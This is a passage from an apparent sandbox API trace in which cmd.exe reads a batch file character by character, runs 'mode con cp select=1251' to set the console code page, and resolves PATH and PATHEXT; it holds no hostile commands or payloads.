hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0160.265] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.265] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.265] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0160.265] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.265] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.265] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.265] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0160.265] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.266] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.266] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0160.266] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.266] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.266] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0160.266] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.266] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.266] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0160.266] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.266] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.266] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0160.266] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.266] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.266] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0160.266] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.266] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.266] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0160.266] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.266] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.266] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.266] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0160.266] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.266] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.266] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0160.267] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.267] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.267] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0160.267] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.267] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.267] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0160.267] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.267] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.267] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0160.267] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.267] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.267] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0160.267] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.267] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.267] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0160.267] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.267] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.267] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0160.267] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.267] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.267] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.267] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0160.267] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.267] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.268] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0160.268] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.268] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.268] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0160.268] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.268] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.268] ReadFile (in: hFile=0x248, lpBuffer=0x7ff7cb5c9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x8fb4eff968, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesRead=0x8fb4eff968*=0x1, lpOverlapped=0x0) returned 1 [0160.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=1, lpWideCharStr=0x7ff7cb5d3c5e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0160.268] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.268] GetFileType (hFile=0x248) returned 0x3 [0160.268] _get_osfhandle (_FileHandle=0) returned 0x248 [0160.268] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0160.268] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.268] GetFileType (hFile=0x254) returned 0x3 [0160.268] _get_osfhandle (_FileHandle=1) returned 0x254 [0160.268] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x7ff7cb5c9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0160.268] WriteFile (in: hFile=0x254, lpBuffer=0x7ff7cb5c9970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x8fb4eff908, lpOverlapped=0x0 | out: lpBuffer=0x7ff7cb5c9970*, lpNumberOfBytesWritten=0x8fb4eff908*=0x18, lpOverlapped=0x0) returned 1 [0160.269] GetProcessHeap () returned 0x1990d360000 [0160.269] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x4012) returned 0x1990d368fe0 [0160.269] GetProcessHeap () returned 0x1990d360000 [0160.269] RtlFreeHeap (HeapHandle=0x1990d360000, Flags=0x0, BaseAddress=0x1990d368fe0) returned 1 [0160.269] _wcsicmp (_String1="mode", _String2=")") returned 68 [0160.269] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0160.269] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0160.269] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0160.269] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0160.269] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0160.269] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0160.269] GetProcessHeap () returned 0x1990d360000 [0160.269] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xb0) returned 0x1990d368320 [0160.269] GetProcessHeap () returned 0x1990d360000 [0160.269] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x1a) returned 0x1990d366a80 [0160.270] GetProcessHeap () returned 0x1990d360000 [0160.270] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x38) returned 0x1990d361850 [0160.270] GetConsoleOutputCP () returned 0x1b5 [0160.271] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff7cb5cfbb0 | out: lpCPInfo=0x7ff7cb5cfbb0) returned 1 [0160.271] SetThreadUILanguage (LangId=0x0) returned 0x409 [0160.271] GetConsoleTitleW (in: lpConsoleTitle=0x8fb4eff750, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 0x2b [0160.271] malloc (_Size=0xffce) returned 0x1990d480840 [0160.271] ??_V@YAXPEAX@Z () returned 0x1990d480840 [0160.271] malloc (_Size=0xffce) returned 0x1990d490820 [0160.272] ??_V@YAXPEAX@Z () returned 0x1990d490820 [0160.272] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0160.272] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0160.272] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0160.272] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0160.272] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0160.272] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0160.272] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0160.272] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0160.272] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0160.272] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0160.272] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0160.272] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0160.272] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0160.272] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0160.272] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0160.272] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0160.272] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0160.273] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0160.273] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0160.273] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0160.273] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0160.273] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0160.273] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0160.273] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0160.273] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0160.273] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0160.273] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0160.273] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0160.273] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0160.273] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0160.273] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0160.273] _wcsicmp (_String1="mode", _String2="START") returned -6 [0160.273] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0160.273] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0160.273] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0160.273] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0160.273] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0160.273] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0160.273] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0160.273] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0160.273] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0160.273] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0160.273] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0160.273] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0160.273] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0160.273] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0160.273] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0160.273] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0160.273] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0160.273] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0160.273] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0160.273] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0160.273] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0160.273] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0160.273] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0160.273] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0160.273] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0160.273] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0160.273] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0160.273] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0160.273] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0160.273] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0160.274] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0160.274] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0160.274] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0160.274] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0160.274] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0160.274] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0160.274] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0160.274] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0160.274] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0160.274] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0160.274] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0160.274] _wcsicmp (_String1="mode", _String2="START") returned -6 [0160.274] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0160.274] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0160.274] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0160.274] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0160.274] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0160.274] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0160.274] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0160.274] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0160.274] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0160.274] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0160.274] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0160.274] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0160.274] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0160.274] ??_V@YAXPEAX@Z () returned 0x1 [0160.274] GetProcessHeap () returned 0x1990d360000 [0160.274] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xffde) returned 0x1990d368fe0 [0160.275] GetProcessHeap () returned 0x1990d360000 [0160.275] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x42) returned 0x1990d3683e0 [0160.275] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0160.275] malloc (_Size=0xffce) returned 0x1990d490820 [0160.275] ??_V@YAXPEAX@Z () returned 0x1990d490820 [0160.275] GetProcessHeap () returned 0x1990d360000 [0160.275] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x1ffac) returned 0x1990d378fd0 [0160.277] SetErrorMode (uMode=0x0) returned 0x0 [0160.277] SetErrorMode (uMode=0x1) returned 0x0 [0160.277] GetFullPathNameW (in: lpFileName=".", nBufferLength=0xffce, lpBuffer=0x1990d378fe0, lpFilePart=0x8fb4efefd0 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0x8fb4efefd0*="Desktop") returned 0x17 [0160.277] SetErrorMode (uMode=0x0) returned 0x1 [0160.277] GetProcessHeap () returned 0x1990d360000 [0160.277] RtlReAllocateHeap (Heap=0x1990d360000, Flags=0x0, Ptr=0x1990d378fd0, Size=0x4a) returned 0x1990d378fd0 [0160.277] GetProcessHeap () returned 0x1990d360000 [0160.277] RtlSizeHeap (HeapHandle=0x1990d360000, Flags=0x0, MemoryPointer=0x1990d378fd0) returned 0x4a [0160.277] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\WINDOWS\\system32;C:\\WINDOWS;C:\\WINDOWS\\System32\\Wbem;C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\;C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps") returned 0xbb [0160.277] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0160.277] GetProcessHeap () returned 0x1990d360000 [0160.277] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x1bc) returned 0x1990d366c30 [0160.277] GetProcessHeap () returned 0x1990d360000 [0160.277] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0x368) returned 0x1990d379030 [0160.285] GetProcessHeap () returned 0x1990d360000 [0160.285] RtlReAllocateHeap (Heap=0x1990d360000, Flags=0x0, Ptr=0x1990d379030, Size=0x1be) returned 0x1990d379030 [0160.285] GetProcessHeap () returned 0x1990d360000 [0160.285] RtlSizeHeap (HeapHandle=0x1990d360000, Flags=0x0, MemoryPointer=0x1990d379030) returned 0x1be [0160.285] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x7ff7cb5cbb90, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0160.285] GetProcessHeap () returned 0x1990d360000 [0160.285] RtlAllocateHeap (HeapHandle=0x1990d360000, Flags=0x8, Size=0xe8) returned 0x1990d366e00 [0160.286] GetProcessHeap () returned 0x1990d360000 [0160.286] RtlReAllocateHeap (Heap=0x1990d360000, Flags=0x0, Ptr=0x1990d366e00, Size=0x7e) returned 0x1990d366e00 [0160.286] GetProcessHeap () returned 0x1990d360000 [0160.286] RtlSizeHeap (HeapHandle=0x1990d360000, 